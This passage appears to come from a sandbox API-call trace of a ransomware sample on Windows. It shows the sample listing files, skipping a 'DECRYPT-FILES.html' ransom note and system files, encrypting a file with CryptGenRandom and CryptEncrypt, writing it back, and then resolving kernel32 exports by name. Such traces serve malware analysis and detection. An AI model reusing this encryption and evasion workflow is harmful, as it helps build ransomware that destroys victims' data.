lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55db9008, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x55db9008, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x55db9008, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eogwkz.dat", cAlternateFileName="")) returned 1 [0133.840] lstrcmpiW (lpString1="eogwkz.dat", lpString2="DECRYPT-FILES.html") returned 1 [0133.840] lstrcmpiW (lpString1="eogwkz.dat", lpString2="autorun.inf") returned 1 [0133.840] lstrcmpiW (lpString1="eogwkz.dat", lpString2="boot.ini") returned 1 [0133.840] lstrcmpiW (lpString1="eogwkz.dat", lpString2="desktop.ini") returned 1 [0133.840] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat") returned -1 [0133.840] lstrcmpiW (lpString1="eogwkz.dat", lpString2="iconcache.db") returned -1 [0133.840] lstrcmpiW (lpString1="eogwkz.dat", lpString2="bootsect.bak") returned 1 [0133.840] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat.log") returned -1 [0133.840] lstrcmpiW (lpString1="eogwkz.dat", lpString2="thumbs.db") returned -1 [0133.840] lstrcmpiW (lpString1="eogwkz.dat", lpString2="Bootfont.bin") returned 1 [0133.840] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\") returned 27 [0133.840] lstrlenW (lpString="eogwkz.dat") returned 10 [0133.840] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1053\\" | out: lpString1="C:\\588bce7c90097ed212\\1053\\") returned="C:\\588bce7c90097ed212\\1053\\" [0133.840] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1053\\", lpString2="eogwkz.dat" | out: lpString1="C:\\588bce7c90097ed212\\1053\\eogwkz.dat") returned="C:\\588bce7c90097ed212\\1053\\eogwkz.dat" [0133.840] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0133.840] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1053\\eogwkz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.841] CloseHandle (hObject=0x0) returned 0 [0133.841] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.841] FindNextFileW (in: hFindFile=0x3b81300, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0133.841] lstrcmpiW (lpString1="eula.rtf", lpString2="DECRYPT-FILES.html") returned 1 [0133.841] lstrcmpiW (lpString1="eula.rtf", lpString2="autorun.inf") returned 1 [0133.841] lstrcmpiW (lpString1="eula.rtf", lpString2="boot.ini") returned 1 [0133.841] lstrcmpiW (lpString1="eula.rtf", lpString2="desktop.ini") returned 1 [0133.841] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat") returned -1 [0133.841] lstrcmpiW (lpString1="eula.rtf", lpString2="iconcache.db") returned -1 [0133.841] lstrcmpiW (lpString1="eula.rtf", lpString2="bootsect.bak") returned 1 [0133.841] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat.log") returned -1 [0133.841] lstrcmpiW (lpString1="eula.rtf", lpString2="thumbs.db") returned -1 [0133.841] lstrcmpiW (lpString1="eula.rtf", lpString2="Bootfont.bin") returned 1 [0133.841] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\") returned 27 [0133.841] lstrlenW (lpString="eula.rtf") returned 8 [0133.841] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1053\\" | out: lpString1="C:\\588bce7c90097ed212\\1053\\") returned="C:\\588bce7c90097ed212\\1053\\" [0133.841] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1053\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned="C:\\588bce7c90097ed212\\1053\\eula.rtf" [0133.841] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0133.842] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0133.842] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=3865) returned 1 [0133.842] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0133.842] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0134.677] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0134.677] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0134.677] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0134.678] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0134.678] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0134.678] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.678] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0134.678] CloseHandle (hObject=0x5f8) returned 1 [0134.679] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.679] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0134.680] CloseHandle (hObject=0x0) returned 0 [0134.680] CloseHandle (hObject=0x5f4) returned 1 [0134.680] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.681] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.681] GetTickCount () returned 0x3703f [0134.681] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0134.681] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0134.681] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0134.681] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0134.682] lstrlenA (lpString="kernel32.dll") returned 12 [0134.682] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0134.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0134.682] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0134.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0134.682] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0134.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0134.682] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0134.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0134.682] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0134.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0134.682] lstrlenA (lpString="ADDATOMA") returned 8 [0134.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0134.682] lstrlenA (lpString="ADDATOMW") returned 8 [0134.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0134.682] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0134.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0134.682] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0134.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0134.682] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0134.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0134.682] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0134.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0134.682] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0134.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0134.682] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0134.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0134.682] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0134.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0134.682] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0134.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0134.682] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0134.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0134.683] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0134.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0134.683] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0134.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0134.683] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0134.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0134.683] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0134.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0134.683] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0134.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0134.683] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0134.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0134.683] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0134.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0134.683] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0134.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0134.683] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0134.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0134.683] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0134.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0134.683] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0134.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0134.683] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0134.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0134.683] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0134.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0134.683] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0134.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0134.683] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0134.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0134.683] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0134.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0134.683] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0134.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0134.683] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0134.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0134.683] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0134.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0134.683] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0134.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0134.684] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0134.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0134.684] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0134.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0134.684] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0134.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0134.684] lstrlenA (lpString="BACKUPREAD") returned 10 [0134.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0134.684] lstrlenA (lpString="BACKUPSEEK") returned 10 [0134.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0134.684] lstrlenA (lpString="BACKUPWRITE") returned 11 [0134.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0134.684] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0134.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0134.684] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0134.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0134.684] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0134.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0134.684] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0134.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0134.684] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0134.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0134.684] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0134.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0134.684] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0134.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0134.684] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0134.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0134.684] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0134.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0134.684] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0134.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0134.684] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0134.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0134.684] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0134.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0134.684] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0134.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0134.684] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0134.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0134.684] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0134.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0134.684] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0134.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0134.685] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0134.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0134.685] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0134.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0134.685] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0134.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0134.685] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0134.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0134.685] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0134.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0134.685] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0134.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0134.685] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0134.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0134.685] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0134.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0134.685] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0134.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0134.685] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0134.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0134.685] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0134.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0134.685] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0134.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0134.685] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0134.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0134.685] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0134.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0134.685] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0134.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0134.685] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0134.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0134.685] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0134.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0134.685] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0134.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0134.685] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0134.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0134.685] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0134.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0134.685] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0134.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0134.686] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0134.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0134.686] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0134.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0134.686] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0134.686] lstrcpyA (in: lpString1=0x38bdb2c, 